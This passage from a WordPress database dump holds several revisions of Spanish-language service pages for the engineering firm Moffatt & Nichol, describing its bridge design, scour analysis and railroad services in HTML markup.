puentes','','inherit','open','open','','640-revision-11','','','2012-09-04 06:04:00','2012-09-04 06:04:00','',640,'http://moffattnichol.com/spanish/640-revision-11/',0,'revision','',0),(2665,1,'2012-09-04 06:04:48','2012-09-04 06:04:48','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"global-services_one\">\r\n<h1>puentes</h1>\r\n&nbsp;<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-12','','','2012-09-04 06:04:48','2012-09-04 06:04:48','',640,'http://moffattnichol.com/spanish/640-revision-12/',0,'revision','',0),(2666,1,'2012-09-04 06:05:17','2012-09-04 06:05:17','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"global-services_one\">\r\n<h1>puentes</h1>&nbsp;<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-13','','','2012-09-04 06:05:17','2012-09-04 06:05:17','',640,'http://moffattnichol.com/spanish/640-revision-13/',0,'revision','',0),(2667,1,'2012-09-04 06:05:50','2012-09-04 06:05:50','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=bridges width=588 height=315 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n<div class=\"global-services_one\">\r\n<h1>puentes</h1>\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\" style=\"width: 247px; height: 186px;\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/bay-bridge.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"3\">capacidades y experiencia profesional</h3>\r\nHasta la fecha, hemos proporcionado dichos servicios para más de 500 puentes, incluyendo proyectos extraordinarios tales como:\r\n<ul>\r\n	<li>Reemplazo del tramo este, Puente de la Bahía de San Francisco – Oakland, California - en construcción</li>\r\n	<li>Corredor de transporte Alameda, sur de California – una vía rápida dedicada al transporte ferroviario de carga de $2.400 millones que conecta los puertos de Los Angeles/Long Beach con terminales continentales interiores</li>\r\n	<li>El Toro “Y”, sur de California, California – uno de los intercambios de autopistas más grandes del mundo</li>\r\n</ul>\r\n<div class=\"clear\"></div>\r\n</div>\r\n<div class=\"press-release-para\">Además de los servicios de ingeniería estructural generalmente asociados con el diseño de puentes, Moffatt &amp; Nichol también ofrece su amplia y minuciosa experiencia con el análisis de elementos finitos para cargas de terremotos y con bases más allá del diseño para dichas estructuras, que se utiliza tanto en el diseño de estructuras críticamente importantes nuevas y modificadas.\r\n<strong>Nuestras calificaciones y experiencia profesional incluyen:</strong>\r\n<div class=\"bridges-left\">\r\n<div class=\"divider-line\">Tipos de proyecto</div>\r\nProyectos Diseño-Licitación-Construcción, P3 y Diseño-Construcción\r\n\r\nRehabilitación de puentes\r\n\r\nEnsanchamiento y reemplazo de puentes\r\n\r\nInstalaciones para nuevos puentes y carreteras\r\n\r\nPuentes en caminos locales\r\n\r\nPasos elevados de autopistas\r\n\r\nPasos a desnivel, trenes de servicio pesado y zanjas para tren bajo nivel\r\n\r\nCarriles guía de tren ligero y estaciones elevadas\r\n\r\nEstructuras de muelles y frentes costeros\r\n\r\nPuentes para peatones y bicicletas\r\n\r\nPuentes en concreto, acero y madera\r\n\r\nPuentes sobre áreas medioambientalmente sensibles\r\n<div class=\"divider-line\">Construcción</div>\r\nEtapas de la construcción y mantenimiento del tráfico\r\n\r\nEstudios de la factibilidad de construcción e Ingeniería del valor\r\n\r\nIngeniería y apoyo de la construcción\r\n\r\nAnálisis de la construcción en función del tiempo\r\n\r\nInspección de la construcción\r\n\r\nPlanos según construcción y conciliación\r\n\r\nRepresentación del diseñador-constructor y del propietario\r\n\r\n</div>\r\n<div class=\"bridges-right\">\r\n<div class=\"divider-line\">Planeamiento</div>\r\nEstudios de factibilidad y planeamiento\r\n\r\nDiseño conceptual\r\n\r\nEstimados de costos\r\n\r\nSelección del tipo de estructura\r\n\r\nEstudios y documentación medioambientales\r\n<div class=\"divider-line\">Diseño</div>\r\nDiseño preliminar y final\r\n\r\nPlanos, especificaciones y estimados\r\n\r\nDiseño antisísmico y modificación\r\n\r\nEstudios hidráulicos y de socavación\r\n\r\nEstudios de colisión de buques\r\n\r\nEstudios de carga de hielo\r\n\r\nDiseño de cimentación profunda\r\n\r\nSocavación de puentes\r\n\r\nAnálisis de la marejada ciclónica\r\n<div class=\"divider-line\">Inspección y rehabilitación de puentes</div>\r\nInspección por encima/debajo del nivel del agua con certificación NBIS\r\n\r\nMuestreo y prueba de materiales\r\n\r\nModelación de la vida de servicio (Estructuras de concreto)\r\n\r\nServicios de diseño de reparación/rehabilitación\r\n\r\nServicios de la fase de construcción\r\n<div class=\"divider-line\">Otros servicios</div>\r\nEstética de puentes y Soluciones sensibles al contexto\r\n\r\nCapacidad de carga de puentes\r\n\r\nAnálisis avanzado de elementos finitos\r\n\r\nCoordinación y reubicación de equipos de servicios públicos\r\n\r\nDiseño de calzadas y accesos\r\n\r\n</div>\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/Bolsa.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"1\">caminos y puentes</h3>\r\nMoffatt &amp; Nichol ofrece una gama completa de servicios de planeamiento, diseño, obtención de fondos y gestión para proyectos de puentes y carreteras.\r\n\r\nMoffatt &amp; Nichol ofrece su especial experiencia profesional en los aspectos económicos y financieros, gestión de programas, análisis sísmico, cimentaciones marítimas profundas, sistemas intermodales, impacto de buques y análisis de socavación del proyecto. Estos servicios especializados nos permiten proporcionar a nuestros clientes un alto nivel de servicios de valor agregado para toda la gama del desarrollo de proyectos, desde el planeamiento hasta el diseño y la construcción.\r\n\r\nAdemás del diseño convencional de carreteras, nuestras capacidades estructurales incluyen la inspección, planeamiento, análisis, diseño y preparación de la documentación de la construcción para la rehabilitación, modificación o nueva construcción de puentes, caballetes para puentes y pasos a desnivel. Moffatt &amp; Nichol ha planeado o diseñado más de 500 puentes, que comprenden desde una de las autopistas más largas del mundo o intercambios de autopistas como El Toro “Y” en Irvine, California, hasta el proyecto de reemplazo del puente de la bahía Oakland de $5.500 millones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"border\"></div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/tranportation/sour.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h3 id=\"2\">análisis de socavación</h3>\r\nMoffatt &amp; Nichol tiene experiencia profesional interna especializada en dinámica fluvial y de mareas, transporte de sedimentos/análisis de socavación, ingeniería costera e hidrología e hidráulica. Aplicando esta experiencia profesional junto con nuestra capacidad de modelación numérica de 1-D, 2-D y 3-D, podemos evaluar el potencial de socavación para puentes en diversas condiciones de ubicación. Hemos realizado la clasificación de la socavación de más de 1.000 puentes usando procedimientos FHWA, realizado análisis de socavación de más de 50 puentes y desarrollado contramedidas de diseño para muchos puentes con socavación crítica. En el puente de la bahía de Oakland, San Francisco, Moffatt &amp; Nichol realizó recientemente la modelación numérica hidrodinámica y la prueba del modelo físico para pronosticar la posible socavación. El nivel de socavación fue sustancialmente menor que el pronosticado usando una fórmula empírica.\r\n\r\nAdemás, Moffatt &amp; Nichol es un líder internacional reconocido en el análisis y diseño de la prevención de colisión de naves y de sistemas de protección.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','servicios de caminos y puentes','','inherit','open','open','','640-revision-14','','','2012-09-04 06:05:50','2012-09-04 06:05:50','',640,'http://moffattnichol.com/spanish/640-revision-14/',0,'revision','',0),(2668,1,'2012-09-03 10:04:37','2012-09-03 10:04:37','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=railroads width=588 height=325 delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con 